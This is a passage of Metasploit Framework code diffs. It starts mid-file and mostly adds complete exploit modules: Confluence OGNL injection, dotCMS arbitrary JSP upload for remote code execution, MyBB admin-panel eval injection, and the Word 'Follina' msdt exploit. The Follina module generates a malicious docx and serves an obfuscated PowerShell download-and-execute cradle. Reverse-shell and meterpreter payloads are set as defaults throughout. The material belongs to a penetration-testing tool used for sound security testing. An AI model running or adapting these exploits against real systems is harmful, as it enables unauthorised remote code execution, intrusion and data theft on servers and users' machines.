ef.create_extension('subjectKeyIdentifier', 'hash'),
]
# Add additional SAN entries to the new cert. See https://support.f5.com/csp/article/K13471
# for an example of how this added SAN field is expected to look like in a certificate.
if !datastore['ADD_SAN'].nil? && !datastore['ADD_SAN'].empty?
sans = datastore['ADD_SAN'].to_s.split(/,/)
sans.map! do |san|
san = (san =~ Resolv::IPv4::Regex || san =~ Resolv::IPv6::Regex) ? "IP:#{san}" : "DNS:#{san}"
end
new_cert.add_extension(ef.create_extension('subjectAltName', sans.join(','), false))
print_status("Adding #{datastore['ADD_SAN']} to the certificate subject alternative names")
end
if !datastore['PRIVKEY'].nil? && !datastore['PRIVKEY'].empty?
new_cert.sign(ca_key, OpenSSL::Digest.new(hashtype))
new_key = ca_key # Set for file output
+54 -49
View File
@@ -7,19 +7,19 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SunRPC
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Nfs
def initialize
super(
'Name' => 'NFS Mount Scanner',
'Description' => %q{
'Name' => 'NFS Mount Scanner',
'Description' => %q{
This module scans NFS mounts and their permissions.
},
'Author' => ['<tebo[at]attackresearch.com>'],
'References' =>
[
['CVE', '1999-0170'],
['URL', 'https://www.ietf.org/rfc/rfc1094.txt']
],
'Author' => ['<tebo[at]attackresearch.com>'],
'References' => [
['CVE', '1999-0170'],
['URL', 'https://www.ietf.org/rfc/rfc1094.txt']
],
'License' => MSF_LICENSE
)
@@ -27,57 +27,62 @@ class MetasploitModule < Msf::Auxiliary
OptEnum.new('PROTOCOL', [ true, 'The protocol to use', 'udp', ['udp', 'tcp']])
])
register_advanced_options(
[
OptBool.new('Mountable', [false, 'Determine if an export is mountable', true]),
]
)
end
def run_host(ip)
program = 100005
progver = 1
procedure = 5
begin
program = 100005
progver = 1
procedure = 5
sunrpc_create(datastore['PROTOCOL'], program, progver)
sunrpc_authnull
resp = sunrpc_call(procedure, '')
sunrpc_create(datastore['PROTOCOL'], program, progver)
sunrpc_authnull()
resp = sunrpc_call(procedure, "")
# XXX: Assume that transport is udp and port is 2049
# Technically we are talking to mountd not nfsd
# XXX: Assume that transport is udp and port is 2049
# Technically we are talking to mountd not nfsd
report_service(
host: ip,
proto: datastore['PROTOCOL'],
port: 2049,
name: 'nfsd',
info: "NFS Daemon #{program} v#{progver}"
)
report_service(
:host => ip,
:proto => datastore['PROTOCOL'],
:port => 2049,
:name => 'nfsd',
:info => "NFS Daemon #{program} v#{progver}"
)
exports = resp[3, 1].unpack('C')[0]
if (exports == 0x01)
shares = []
while Rex::Encoder::XDR.decode_int!(resp) == 1
dir = Rex::Encoder::XDR.decode_string!(resp)
grp = []
grp << Rex::Encoder::XDR.decode_string!(resp) while Rex::Encoder::XDR.decode_int!(resp) == 1
exports = resp[3,1].unpack('C')[0]
if (exports == 0x01)
shares = []
while Rex::Encoder::XDR.decode_int!(resp) == 1 do
dir = Rex::Encoder::XDR.decode_string!(resp)
grp = []
while Rex::Encoder::XDR.decode_int!(resp) == 1 do
grp << Rex::Encoder::XDR.decode_string!(resp)
end
print_good("#{ip} NFS Export: #{dir} [#{grp.join(", ")}]")
shares << [dir, grp]
if can_mount?(grp, datastore['Mountable'], datastore['HOSTNAME'], datastore['LHOST'] || '')
print_good("#{ip} Mountable NFS Export: #{dir} [#{grp.join(', ')}]")
else
print_status("#{ip} NFS Export: #{dir} [#{grp.join(', ')}]")
end
report_note(
:host => ip,
:proto => datastore['PROTOCOL'],
:port => 2049,
:type => 'nfs.exports',
:data => { :exports => shares },
:update => :unique_data
)
elsif(exports == 0x00)
vprint_status("#{ip} - No exported directories")
shares << [dir, grp]
end
sunrpc_destroy
rescue ::Rex::Proto::SunRPC::RPCTimeout, ::Rex::Proto::SunRPC::RPCError => e
vprint_error(e.to_s)
report_note(
host: ip,
proto: datastore['PROTOCOL'],
port: 2049,
type: 'nfs.exports',
data: { exports: shares },
update: :unique_data
)
elsif (exports == 0x00)
vprint_status("#{ip} - No exported directories")
end
sunrpc_destroy
rescue ::Rex::Proto::SunRPC::RPCTimeout, ::Rex::Proto::SunRPC::RPCError => e
vprint_error(e.to_s)
end
end
+4 -3
View File
@@ -17,9 +17,10 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{
This module provides a SMB service that can be used to capture the challenge-response
password NTLMv1 & NTLMv2 hashes used with SMB1, SMB2, or SMB3 client systems.
Responses sent by this service have by default a random 8 byte challenge string
of format `\x11\x22\x33\x44\x55\x66\x77\x88`, allowing for easy cracking using
Cain & Abel (NTLMv1) or John the ripper (with jumbo patch).
Responses sent by this service by default use a random 8 byte challenge string.
A specific value (such as `1122334455667788`) can be set using the CHALLENGE option,
allowing for easy cracking using Cain & Abel (NTLMv1) or John the Ripper
(with jumbo patch).
To exploit this, the target system must try to authenticate to this
module. One way to force an SMB authentication attempt is by embedding
@@ -0,0 +1,158 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Namespace OGNL Injection',
'Description' => %q{
This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to
evaluate an OGNL expression resulting in OS command execution.
},
'Author' => [
'Unknown', # exploited in the wild
'bturner-r7',
'jbaines-r7',
'Spencer McIntyre'
],
'References' => [
['CVE', '2021-26084'],
['URL', 'https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro'],
['URL', 'https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py'],
['URL', 'https://github.com/jbaines-r7/through_the_wire'],
['URL', 'https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis']
],
'DisclosureDate' => '2022-06-02',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8090
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
version = get_confluence_version
return CheckCode::Unknown unless version
vprint_status("Detected Confluence version: #{version}")
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
res = inject_ognl('', header: header) # empty command works for testing, the header will be set
return CheckCode::Unknown unless res
unless res && res.headers.include?(header)
return CheckCode::Safe('Failed to test OGNL injection.')
end
CheckCode::Vulnerable('Successfully tested OGNL injection.')
end
def get_confluence_version
return @confluence_version if @confluence_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.action')
)
return nil unless res&.code == 200
poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
return nil unless poweredby =~ /Confluence (\d+(\.\d+)*)/
@confluence_version = Rex::Version.new(Regexp.last_match(1))
@confluence_version
end
def exploit
print_status("Executing #{payload_instance.refname} (#{target.name})")
case target['Type']
when :cmd
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
res = inject_ognl(cmd, header: header)
unless res && res.headers.include?(header)
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
end
vprint_good("Successfully executed command: #{cmd}")
res.headers[header]
end
def inject_ognl(cmd, header:)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl_payload(cmd, header: header)), 'dashboard.action'),
'headers' => { header => cmd }
)
end
def ognl_payload(_cmd, header:)
<<~OGNL.gsub(/^\s+/, '').tr("\n", '')
${
Class.forName("com.opensymphony.webwork.ServletActionContext")
.getMethod("getResponse",null)
.invoke(null,null)
.setHeader("#{header}",
Class.forName("javax.script.ScriptEngineManager")
.newInstance()
.getEngineByName("js")
.eval("java.lang.Runtime.getRuntime().exec([
#{target['Platform'] == 'win' ? "'cmd.exe','/c'" : "'/bin/sh','-c'"},
com.opensymphony.webwork.ServletActionContext.getRequest().getHeader('#{header}')
]); '#{Faker::Internet.uuid}'")
)
}
OGNL
end
end
@@ -0,0 +1,167 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'DotCMS RCE via Arbitrary File Upload.',
'Description' => %q{
When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the
file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename
passed in via the multipart request header and thus does not sanitize the temp file's name. This allows a
specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that get
written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a special
.jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.
},
'Author' => [
'Shubham Shah', # Discovery and analysis
'Hussein Daher', # Discovery and analysis
'jheysel-r7' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-26352'],
['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']
],
'Privileged' => false,
'Platform' => %w[linux win],
'Targets' => [
[
'Java Linux',
{
'Arch' => ARCH_JAVA,
'Platform' => 'linux'
}
],
[
'Java Windows',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
]
],
'DisclosureDate' => '2022-05-03',
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(8443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
test_content = Rex::Text.rand_text_alpha(10)
test_file = "#{test_content}.jsp"
test_path = "../../#{test_file}"
uuid = Faker::Internet.uuid
jsp = <<~EOS
<%@ page import=\"java.io.File\" %>
<%
File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");
jsp.delete();
%>
#{uuid}
EOS
vars_form_data = [
{
'name' => 'name',
'data' => jsp,
'encoding' => nil,
'filename' => test_path,
'mime_type' => 'text/plain'
}
]
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/content/'),
'vars_form_data' => vars_form_data
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, test_file.to_s)
)
if res && res.body.include?(uuid)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def write_jsp_payload
jsp_path = "../../#{jsp_filename}"
print_status('Writing JSP payload')
vars_form_data = [
{
'name' => 'name',
'data' => payload.encoded,
'encoding' => nil,
'filename' => jsp_path,
'mime_type' => 'text/plain'
}
]
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/content/'),
'vars_form_data' => vars_form_data
)
unless res&.code == 500
fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
end
register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")
print_good('Successfully wrote JSP payload')
end
def execute_jsp_payload
jsp_uri = normalize_uri(target_uri.path, jsp_filename)
print_status('Executing JSP payload')
res = send_request_cgi(
'method' => 'GET',
'uri' => jsp_uri
)
unless res&.code == 200
fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
end
print_good('Successfully executed JSP payload')
end
def exploit
write_jsp_payload
execute_jsp_payload
end
def jsp_filename
@jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
end
end
@@ -0,0 +1,278 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MyBB Admin Control Code Injection RCE',
'Description' => %q{
This exploit module leverages an improper input validation
vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in
the context of the user running the application.
MyBB Admin Control setting page calls PHP `eval` function with an
unsanitized user input. The exploit adds a new setting, injecting the
payload in the vulnerable field, and triggers its execution with a
second request. Finally, it takes care of cleaning up and removes the
setting.
Note that authentication is required for this exploit to work and the
account must have rights to add or update settings (typically, myBB
administrator role).
},
'License' => MSF_LICENSE,
'Author' => [
'Cillian Collins', # vulnerability research
'Altelus', # original PoC
'Christophe De La Fuente' # MSF module
],
'References' => [
[ 'URL', 'https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f'],
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-22-503/'],
[ 'URL', 'https://github.com/Altelus1/CVE-2022-24734'],
[ 'CVE', '2022-24734']
],
'Platform' => %w[php unix linux win],
'Privileged' => false,
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'Type' => :in_memory
}
],
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },
'Type' => :in_memory
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :dropper
}
],
[
'Windows (In-Memory)',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
'Type' => :in_memory
}
],
[
'Windows (Dropper)',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
'Type' => :dropper
}
]
],
'DisclosureDate' => '2022-03-09',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'MyBB Admin CP username' ]),
OptString.new('PASSWORD', [ true, 'MyBB Admin CP password' ]),
OptString.new('TARGETURI', [ true, 'The URI of the MyBB application', '/'])
]
)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => { 'intcheck' => 1 }
})
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
# see https://github.com/mybb/mybb/blob/feature/inc/class_core.php#L307-L310
unless res.body.include?('&#077;&#089;&#066;&#066;')
return CheckCode::Unknown("#{peer} - Cannot find MyBB forum running at #{target_uri.path}")
end
print_good("MyBB forum found running at #{target_uri.path}")
return CheckCode::Detected
end
def login
vprint_status('Attempting login')
cookie_jar.cleanup(true)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'do' => 'login'
}
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/)
fail_with(Failure::NoAccess, "#{peer} - Invalid credentials")
end
print_good('Login successful!')
end
def send_config_settings(method: 'GET', action: 'add', vars_get: {}, vars_post: {}, check_response: true)
req_hash = {
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
'method' => method,
'vars_get' => {
'module' => 'config-settings',
'action' => action
}.merge(vars_get)
}
req_hash['vars_post'] = vars_post unless vars_post.blank?
res = send_request_cgi(req_hash, datastore['WfsDelay'] > 0 ? datastore['WfsDelay'] : 2)
if check_response && res.nil?
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response")
end
res
end
def exploit
login
res = send_config_settings
if res.body.include?('Access Denied')
fail_with(Failure::NoAccess, "#{peer} - Supplied user doesn't have the rights to add a setting")
end
vprint_status('Adding a malicious settings')
doc = res.get_html_document
@my_post_key = doc.xpath('//input[@name="my_post_key"]/@value').text
case target['Type']
when :in_memory
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end
def send_payload(cmd)
vprint_status('Adding a crafted configuration setting entry with the payload')
cmd = cmd.gsub(/\\/, '\\' => '\\\\')
cmd = cmd.gsub(/"/, '"' => '\\"')
cmd = cmd.gsub(/\$/, '$' => '\\$')
case target['Platform']
when 'php'
extra = "\" . eval(\"#{cmd}\") .\""
when 'win'
if target['Arch'] == ARCH_CMD
# Force cmd to run in the background (only works for `cmd`)
extra = "\" . pclose(popen(\"start /B #{cmd}\", \"r\")) .\""
else
extra = "\" . system(\"#{cmd}\") .\""
end
else
extra = "\" . system(\"#{cmd} > /dev/null &\") .\""
end
post_data = {
my_post_key: @my_post_key,
title: Rex::Text.rand_text_alpha(rand(8...16)),
description: Rex::Text.rand_text_alpha(rand(8...16)),
gid: 1,
disporder: '',
name: Rex::Text.rand_text_alpha(rand(8...16)),
type: "\tphp",
extra: extra,
value: Rex::Text.rand_text_alpha(rand(8...16))
}
res = send_config_settings(method: 'POST', vars_post: post_data)
unless res.code == 302
doc = res.get_html_document
err = doc.xpath('//div[@class="error"]').text
fail_with(Failure::Unknown,
"#{peer} - The module expected a 302 response but received: "\
"#{res.code}. Exploit didn't work.#{" Reason: #{err}" if err.present?}")
end
vprint_good('Payload successfully sent')
end
def trigger_payload
vprint_status('Triggering the payload execution')
# We're not expecting response to this query
send_config_settings(action: 'change', check_response: false)
end
def remove_setting
vprint_status('Removing the configuration setting')
vprint_status('Grab the delete parameters')
res = send_config_settings(action: 'manage')
if res.body.include?('<title>MyBB Control Panel - Login</title>')
# this exploit seems to logout users sometimes, so, try to login again and retry
print_status('User session is not valid anymore. Trying to login again to cleanup')
login
res = send_config_settings(action: 'manage')
end
doc = res.get_html_document
control_links = doc.xpath('//div[@class="popup_item_container"]/a/@href')
uri = control_links.detect do |href|
href.text.include?('action=delete') && href.text.include?("my_post_key=#{@my_post_key}")
end
if uri.nil?
print_warning("#{peer} - URI not found in `Modify Settings` page - cannot cleanup")
return
end
vprint_status('Send the delete request')
params = uri.text.split('?')[1]
get_data = CGI.parse(params).transform_values(&:join)
send_config_settings(method: 'POST', vars_get: get_data)
end
def execute_command(cmd, _opt = {})
send_payload(cmd)
trigger_payload
remove_setting
print_status('Shell incoming...')
end
end
+1 -1
View File
@@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote
def repeat_operation(op, opts = {})
datastore['OperationMaxRetries'].times do |i|
vprint_status("#{op}: try ##{i + 1}")
res = opts.empty? ? send(op) : send(op, opts)
res = opts.empty? ? send(op) : send(op, **opts)
return res if res
end
nil
@@ -0,0 +1,225 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Office Word MSDTJS',
'Description' => %q{
This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template
feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code.
},
'References' => [
['CVE', '2022-30190'],
['URL', 'https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/'],
['URL', 'https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19'],
['URL', 'https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/'],
['URL', 'https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e'],
['URL', 'https://twitter.com/GossiTheDog/status/1531608245009367040'],
['URL', 'https://github.com/JMousqueton/PoC-CVE-2022-30190']
],
'Author' => [
'nao sec', # Original disclosure.
'mekhalleh (RAMELLA Sébastien)' # Zeop CyberSecurity
],
'DisclosureDate' => '2022-05-29',
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Payload' => {
'DisableNops' => true
},
'DefaultOptions' => {
'DisablePayloadHandler' => false,
'FILENAME' => 'msf.docx',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'SRVHOST' => Rex::Socket.source_address('1.2.3.4')
},
'Targets' => [
[ 'Microsoft Office Word', {} ]
],
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['Follina'],
'Stability' => [CRASH_SAFE],
'Reliability' => [UNRELIABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptPath.new('CUSTOMTEMPLATE', [false, 'A DOCX file that will be used as a template to build the exploit.']),
OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
])
end
def get_file_in_docx(fname)
i = @docx.find_index { |item| item[:fname] == fname }
unless i
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
end
@docx.fetch(i)[:data]
end
def get_template_path
datastore['CUSTOMTEMPLATE'] || File.join(Msf::Config.data_directory, 'exploits', 'word_msdtjs.docx')
end
def generate_html
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.ps1"
dummy = ''
(1..random_int(61, 100)).each do |_n|
dummy += '//' + rand_text_alpha(100) + "\n"
end
cmd = Rex::Text.encode_base64("IEX(New-Object Net.WebClient).downloadString('#{uri}')")
js_content = "window.location.href = \"ms-msdt:/id PCWDiagnostic /skip force /param \\\"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'#{cmd}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\\\"\";"
if datastore['OBFUSCATE']
print_status('Obfuscate JavaScript content')
js_content = Rex::Exploitation::JSObfu.new js_content
js_content = js_content.obfuscate(memory_sensitive: false)
end
html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
html += "\n#{dummy}\n#{js_content}\n"
html += '</script></body></html>'
html
end
def inject_docx
document_xml = get_file_in_docx('word/document.xml')
unless document_xml
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
end
document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
unless document_xml_rels
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
end
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
@docx.each do |entry|
case entry[:fname]
when 'word/_rels/document.xml.rels'
entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "#{uri}&#x21;")
end
end
end
def normalize_uri(*strs)
new_str = strs * '/'
new_str = new_str.gsub!('//', '/') while new_str.index('//')
# makes sure there's a starting slash
unless new_str.start_with?('/')
new_str = '/' + new_str
end
new_str
end
def on_request_uri(cli, request)
header_html = {
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'GET, POST',
'Cache-Control' => 'no-store, no-cache, must-revalidate',
'Content-Type' => 'text/html; charset=UTF-8'
}
if request.method.eql? 'HEAD'
send_response(cli, '', header_html)
elsif request.method.eql? 'OPTIONS'
response = create_response(501, 'Unsupported Method')
response['Content-Type'] = 'text/html'
response.body = ''
cli.send_response(response)
elsif request.raw_uri.to_s.end_with? '.html'
print_status('Sending HTML Payload')
send_response_html(cli, generate_html, header_html)
elsif request.raw_uri.to_s.end_with? '.ps1'
print_status('Sending PowerShell Payload')
send_response(cli, @payload_data, header_html)
end
end
def pack_docx
@docx.each do |entry|
if entry[:data].is_a?(Nokogiri::XML::Document)
entry[:data] = entry[:data].to_s
end
end
Msf::Util::EXE.to_zip(@docx)
end
def primer
print_status('Generating a malicious docx file')
@proto = (datastore['SSL'] ? 'https' : 'http')
template_path = get_template_path
unless File.extname(template_path).downcase.end_with?('.docx')
fail_with(Failure::BadConfig, 'Template is not a docx file!')
end
print_status("Using template '#{template_path}'")
@docx = unpack_docx(template_path)
print_status('Injecting payload in docx document')
inject_docx
print_status("Finalizing docx '#{datastore['FILENAME']}'")
file_create(pack_docx)
@payload_data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
super
end
def random_int(min, max)
rand(max - min) + min
end
def unpack_docx(template_path)
document = []
Zip::File.open(template_path) do |entries|
entries.each do |entry|
if entry.name.downcase.end_with?('.xml', '.rels')
content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
elsif entry.file?
content = entry.get_input_stream.read
end
vprint_status("Parsing item from template: #{entry.name}")
document << { fname: entry.name, data: content }
end
end
document
end
end
@@ -7,7 +7,7 @@
module MetasploitModule
CachedSize = 34792
CachedSize = 34854
include Msf::Payload::Single
include Msf::Payload::Php::ReverseTcp
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 117045
CachedSize = 117057
include Msf::Payload::Single
include Msf::Payload::Python
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 117037
CachedSize = 117049
include Msf::Payload::Single
include Msf::Payload::Python
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 117037
CachedSize = 117049
include Msf::Payload::Single
include Msf::Payload::Python
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 116945
CachedSize = 116957
include Msf::Payload::Single
include Msf::Payload::Python
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 175174
CachedSize = 175686
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 175174
CachedSize = 175686
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 176220
CachedSize = 176732
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 176220
CachedSize = 176732
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 175174
CachedSize = 175686
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 175174
CachedSize = 175686
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
@@ -45,11 +45,17 @@ class MetasploitModule < Msf::Post
OptString.new('BOURNE_PATH',
[false, 'Remote path to drop binary']),
OptString.new('BOURNE_FILE',
[false, 'Remote filename to use for dropped binary'])
[false, 'Remote filename to use for dropped binary']),
OptInt.new('COMMAND_TIMEOUT',
[true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),
])
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
end
def command_timeout
datastore['COMMAND_TIMEOUT']
end
# Run method for when run command is issued
def run
print_status("Upgrading session ID: #{datastore['SESSION']}")
@@ -118,7 +124,7 @@ class MetasploitModule < Msf::Post
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status('Platform: OS X')
elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/
elsif remote_python_binary
# Generic fallback for OSX, Solaris, Linux/ARM
platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp'
@@ -176,7 +182,7 @@ class MetasploitModule < Msf::Post
cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")
else
psh_opts[:remove_comspec] = true
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, 15, { 'Channelized' => false })
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })
end
else
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
@@ -186,11 +192,11 @@ class MetasploitModule < Msf::Post
end
when 'python'
vprint_status('Transfer method: Python')
cmd_exec("echo \"#{payload_data}\" | python")
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })
when 'osx'
vprint_status('Transfer method: Python [OSX]')
